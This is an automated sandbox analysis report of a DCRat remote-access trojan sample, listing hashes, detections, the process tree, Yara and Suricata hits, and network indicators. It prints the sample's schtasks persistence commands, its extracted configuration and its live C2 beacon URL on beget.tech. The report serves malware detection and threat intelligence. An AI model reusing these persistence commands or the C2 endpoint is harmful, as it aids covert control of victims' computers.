Edit tour

Windows Analysis Report
c5uqDb5MlY.exe

Overview

General Information

Sample name:	c5uqDb5MlY.exe renamed because original name is a hash value
Original sample name:	759B333FD8D1EEDB5666FDEA1DA25B25.exe
Analysis ID:	1543419
MD5:	759b333fd8d1eedb5666fdea1da25b25
SHA1:	b66fc861196561f793062622b88cdb1065e35459
SHA256:	7a1a3397249836cac73c5f104211fb6cbb2317c830c148a65acb709210aadd2e
Tags:	DCRatexeuser-abuse_ch
Infos:

Detection

DCRat

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected DCRat

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

Creates processes via WMI

Machine Learning detection for dropped file

Machine Learning detection for sample

Uses schtasks.exe or at.exe to add and modify task schedules

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

c5uqDb5MlY.exe (PID: 4820 cmdline: "C:\Users\user\Desktop\c5uqDb5MlY.exe" MD5: 759B333FD8D1EEDB5666FDEA1DA25B25)

schtasks.exe (PID: 1216 cmdline: schtasks.exe /create /tn "kiLVdQuGOoDsAqfKidbVwSiALpZrGk" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\java\jre-1.8\lib\fonts\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5004 cmdline: schtasks.exe /create /tn "kiLVdQuGOoDsAqfKidbVwSiALpZrG" /sc ONLOGON /tr "'C:\Program Files (x86)\java\jre-1.8\lib\fonts\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 3060 cmdline: schtasks.exe /create /tn "kiLVdQuGOoDsAqfKidbVwSiALpZrGk" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\java\jre-1.8\lib\fonts\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5288 cmdline: schtasks.exe /create /tn "kiLVdQuGOoDsAqfKidbVwSiALpZrGk" /sc MINUTE /mo 10 /tr "'C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 2316 cmdline: schtasks.exe /create /tn "kiLVdQuGOoDsAqfKidbVwSiALpZrG" /sc ONLOGON /tr "'C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5100 cmdline: schtasks.exe /create /tn "kiLVdQuGOoDsAqfKidbVwSiALpZrGk" /sc MINUTE /mo 11 /tr "'C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 5300 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\GwQD1zscMN.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

w32tm.exe (PID: 1596 cmdline: w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 MD5: 81A82132737224D324A3E8DA993E2FB5)

kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe (PID: 5592 cmdline: "C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe" MD5: 759B333FD8D1EEDB5666FDEA1DA25B25)

kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe (PID: 6228 cmdline: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe MD5: 759B333FD8D1EEDB5666FDEA1DA25B25)

kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe (PID: 2916 cmdline: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe MD5: 759B333FD8D1EEDB5666FDEA1DA25B25)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Malware Configuration

Threatname: DCRat

{"SCRT": "{\"U\":\"@\",\"W\":\"$\",\"G\":\"*\",\"R\":\"!\",\"o\":\"~\",\"9\":\"`\",\"Z\":\"(\",\"h\":\"&\",\"y\":\"<\",\"F\":\",\",\"C\":\"#\",\"S\":\"%\",\"Q\":\"_\",\"i\":\".\",\"A\":\"|\",\"b\":\")\",\"j\":\">\",\"J\":\" \",\"N\":\";\",\"I\":\"-\",\"d\":\"^\"}", "PCRT": "{\"x\":\"|\",\"M\":\",\",\"p\":\"`\",\"i\":\"<\",\"=\":\"~\",\"w\":\"-\",\"Q\":\"&\",\"D\":\"*\",\"c\":\"!\",\"S\":\" \",\"X\":\"(\",\"l\":\";\",\"e\":\".\",\"I\":\")\",\"j\":\"#\",\"0\":\"%\",\"y\":\"_\",\"6\":\"$\",\"f\":\"^\",\"b\":\">\"}", "TAG": "", "MUTEX": "DCR_MUTEX-8Csj0yELnc4OH733hQu6", "LDTM": false, "DBG": false, "SST": 5, "SMST": 2, "BCS": 2, "AUR": 1, "ASCFG": {"searchpath": "%UsersFolder% - Fast"}, "AS": false, "ASO": false, "AD": false}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000000B.00000002.1793189374.0000000002D56000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
0000000C.00000002.1835354064.0000000002BFA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000000.00000002.1705861781.000000000310E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
0000000A.00000002.1732109470.0000000002D61000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
0000000B.00000002.1793189374.0000000002D11000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
0000000C.00000002.1835354064.0000000002BB1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000000.00000002.1705861781.0000000002F81000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: c5uqDb5MlY.exe PID: 4820	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe PID: 6228	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe PID: 2916	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe PID: 5592	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Click to see the 6 entries

Suricata Signatures

ET MALWARE DCRAT Activity (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T20:17:04.371386+0100	2034194	1	A Network Trojan was detected	192.168.2.4	49730	5.101.153.48	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: c5uqDb5MlY.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Program Files (x86)\Java\jre-1.8\lib\fonts\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\Java\jre-1.8\lib\fonts\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Users\user\AppData\Local\Temp\GwQD1zscMN.bat	Avira: detection malicious, Label: BAT/Delbat.C

Found malware configuration

Source: 0000000A.00000002.1732109470.0000000002D61000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: DCRat {"SCRT": "{\"U\":\"@\",\"W\":\"$\",\"G\":\"*\",\"R\":\"!\",\"o\":\"~\",\"9\":\"`\",\"Z\":\"(\",\"h\":\"&\",\"y\":\"<\",\"F\":\",\",\"C\":\"#\",\"S\":\"%\",\"Q\":\"_\",\"i\":\".\",\"A\":\"|\",\"b\":\")\",\"j\":\">\",\"J\":\" \",\"N\":\";\",\"I\":\"-\",\"d\":\"^\"}", "PCRT": "{\"x\":\"|\",\"M\":\",\",\"p\":\"`\",\"i\":\"<\",\"=\":\"~\",\"w\":\"-\",\"Q\":\"&\",\"D\":\"*\",\"c\":\"!\",\"S\":\" \",\"X\":\"(\",\"l\":\";\",\"e\":\".\",\"I\":\")\",\"j\":\"#\",\"0\":\"%\",\"y\":\"_\",\"6\":\"$\",\"f\":\"^\",\"b\":\">\"}", "TAG": "", "MUTEX": "DCR_MUTEX-8Csj0yELnc4OH733hQu6", "LDTM": false, "DBG": false, "SST": 5, "SMST": 2, "BCS": 2, "AUR": 1, "ASCFG": {"searchpath": "%UsersFolder% - Fast"}, "AS": false, "ASO": false, "AD": false}

Multi AV Scanner detection for dropped file

Source: C:\Program Files (x86)\Java\jre-1.8\lib\fonts\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	ReversingLabs: Detection: 78%
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	ReversingLabs: Detection: 78%

Multi AV Scanner detection for submitted file

Source: c5uqDb5MlY.exe

ReversingLabs: Detection: 78%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Program Files (x86)\Java\jre-1.8\lib\fonts\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Java\jre-1.8\lib\fonts\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: c5uqDb5MlY.exe

Joe Sandbox ML: detected

Source: c5uqDb5MlY.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: c5uqDb5MlY.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.4:49730 -> 5.101.153.48:80

Source: Joe Sandbox View

ASN Name: BEGET-ASRU BEGET-ASRU

Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?yn6s2=2f1CE969I&2eb64d735c3ceb3cf44155d276f7f3b6=c881cd7e5eb0b68e0a305909638f2735&c145db2fdebeb12e252b4934f8f5f296=gZ1QDN1YTY0EGM5YTMjFjZkRmZwMGOkBzYyImMmNDO4MmYxcjN0ADN&yn6s2=2f1CE969I HTTP/1.1Accept: /Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: artema1m.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?yn6s2=2f1CE969I&2eb64d735c3ceb3cf44155d276f7f3b6=c881cd7e5eb0b68e0a305909638f2735&c145db2fdebeb12e252b4934f8f5f296=gZ1QDN1YTY0EGM5YTMjFjZkRmZwMGOkBzYyImMmNDO4MmYxcjN0ADN&yn6s2=2f1CE969I HTTP/1.1Accept: /Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: artema1m.beget.tech

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?yn6s2=2f1CE969I&2eb64d735c3ceb3cf44155d276f7f3b6=c881cd7e5eb0b68e0a305909638f2735&c145db2fdebeb12e252b4934f8f5f296=gZ1QDN1YTY0EGM5YTMjFjZkRmZwMGOkBzYyImMmNDO4MmYxcjN0ADN&yn6s2=2f1CE969I HTTP/1.1Accept: /Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: artema1m.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?yn6s2=2f1CE969I&2eb64d735c3ceb3cf44155d276f7f3b6=c881cd7e5eb0b68e0a305909638f2735&c145db2fdebeb12e252b4934f8f5f296=gZ1QDN1YTY0EGM5YTMjFjZkRmZwMGOkBzYyImMmNDO4MmYxcjN0ADN&yn6s2=2f1CE969I HTTP/1.1Accept: /Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: artema1m.beget.tech

Source: global traffic

DNS traffic detected: DNS query: artema1m.beget.tech

Source: kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe, 0000000A.00000002.1732109470.0000000002E8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://artema1m.beget.tech
Source: kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe, 0000000A.00000002.1732109470.0000000002E5B000.00000004.00000800.00020000.00000000.sdmp, kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe, 0000000A.00000002.1732109470.0000000002E8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://artema1m.beget.tech/
Source: kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe, 0000000A.00000002.1732109470.0000000002E5B000.00000004.00000800.00020000.00000000.sdmp, kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe, 0000000A.00000002.1732109470.0000000002E8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://artema1m.beget.tech/L1nc0In.php?yn6s2=2f1CE969I&2eb64d735c3ceb3cf44155d276f7f3b6=c881cd7e5eb0
Source: c5uqDb5MlY.exe, 00000000.00000002.1705861781.0000000003132000.00000004.00000800.00020000.00000000.sdmp, kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe, 0000000A.00000002.1732109470.0000000002E5B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name

Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Code function: 0_2_00007FFD9B883555	0_2_00007FFD9B883555
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Code function: 10_2_00007FFD9B8A3555	10_2_00007FFD9B8A3555
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Code function: 11_2_00007FFD9B883555	11_2_00007FFD9B883555
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Code function: 12_2_00007FFD9B8BA7FD	12_2_00007FFD9B8BA7FD
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Code function: 12_2_00007FFD9B8B33BC	12_2_00007FFD9B8B33BC
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Code function: 12_2_00007FFD9B8BACA5	12_2_00007FFD9B8BACA5
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Code function: 12_2_00007FFD9B8B9E35	12_2_00007FFD9B8B9E35

Source: c5uqDb5MlY.exe	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe.0.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe0.0.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970

Source: c5uqDb5MlY.exe, 00000000.00000000.1687804026.0000000000C22000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamelibGLESv2.dll4 vs c5uqDb5MlY.exe
Source: c5uqDb5MlY.exe, 00000000.00000002.1708486137.000000001BF85000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs c5uqDb5MlY.exe
Source: c5uqDb5MlY.exe, 00000000.00000002.1708486137.000000001BF85000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs c5uqDb5MlY.exe
Source: c5uqDb5MlY.exe	Binary or memory string: OriginalFilenamelibGLESv2.dll4 vs c5uqDb5MlY.exe

Source: c5uqDb5MlY.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: c5uqDb5MlY.exe, GTUEegpOky8P0YRB9B8.cs	Cryptographic APIs: 'CreateDecryptor'
Source: c5uqDb5MlY.exe, GTUEegpOky8P0YRB9B8.cs	Cryptographic APIs: 'CreateDecryptor'
Source: c5uqDb5MlY.exe, S0vmNmvspq89kwKsYl3.cs	Cryptographic APIs: 'TransformBlock'
Source: c5uqDb5MlY.exe, S0vmNmvspq89kwKsYl3.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.troj.evad.winEXE@16/12@1/1

Source: C:\Users\user\Desktop\c5uqDb5MlY.exe

File created: C:\Program Files (x86)\java\jre-1.8\lib\fonts\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe

Jump to behavior

Source: C:\Users\user\Desktop\c5uqDb5MlY.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\c5uqDb5MlY.exe.log

Jump to behavior

Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2132:120:WilError_03
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\00ae084f6d9c3ecdee2649e9b8f67512372aee08

Source: C:\Users\user\Desktop\c5uqDb5MlY.exe

File created: C:\Users\user\AppData\Local\Temp\tmp9385A.tmp

Jump to behavior

Source: C:\Users\user\Desktop\c5uqDb5MlY.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\GwQD1zscMN.bat"

Source: c5uqDb5MlY.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: c5uqDb5MlY.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.79%

Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Source: C:\Users\user\Desktop\c5uqDb5MlY.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\c5uqDb5MlY.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: c5uqDb5MlY.exe

ReversingLabs: Detection: 78%

Source: C:\Users\user\Desktop\c5uqDb5MlY.exe

File read: C:\Users\user\Desktop\c5uqDb5MlY.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\c5uqDb5MlY.exe "C:\Users\user\Desktop\c5uqDb5MlY.exe"
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "kiLVdQuGOoDsAqfKidbVwSiALpZrGk" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\java\jre-1.8\lib\fonts\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe'" /f
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "kiLVdQuGOoDsAqfKidbVwSiALpZrG" /sc ONLOGON /tr "'C:\Program Files (x86)\java\jre-1.8\lib\fonts\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "kiLVdQuGOoDsAqfKidbVwSiALpZrGk" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\java\jre-1.8\lib\fonts\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "kiLVdQuGOoDsAqfKidbVwSiALpZrGk" /sc MINUTE /mo 10 /tr "'C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe'" /f
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "kiLVdQuGOoDsAqfKidbVwSiALpZrG" /sc ONLOGON /tr "'C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "kiLVdQuGOoDsAqfKidbVwSiALpZrGk" /sc MINUTE /mo 11 /tr "'C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\GwQD1zscMN.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: unknown	Process created: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe
Source: unknown	Process created: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe "C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe"
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\GwQD1zscMN.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe "C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe"	Jump to behavior

Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
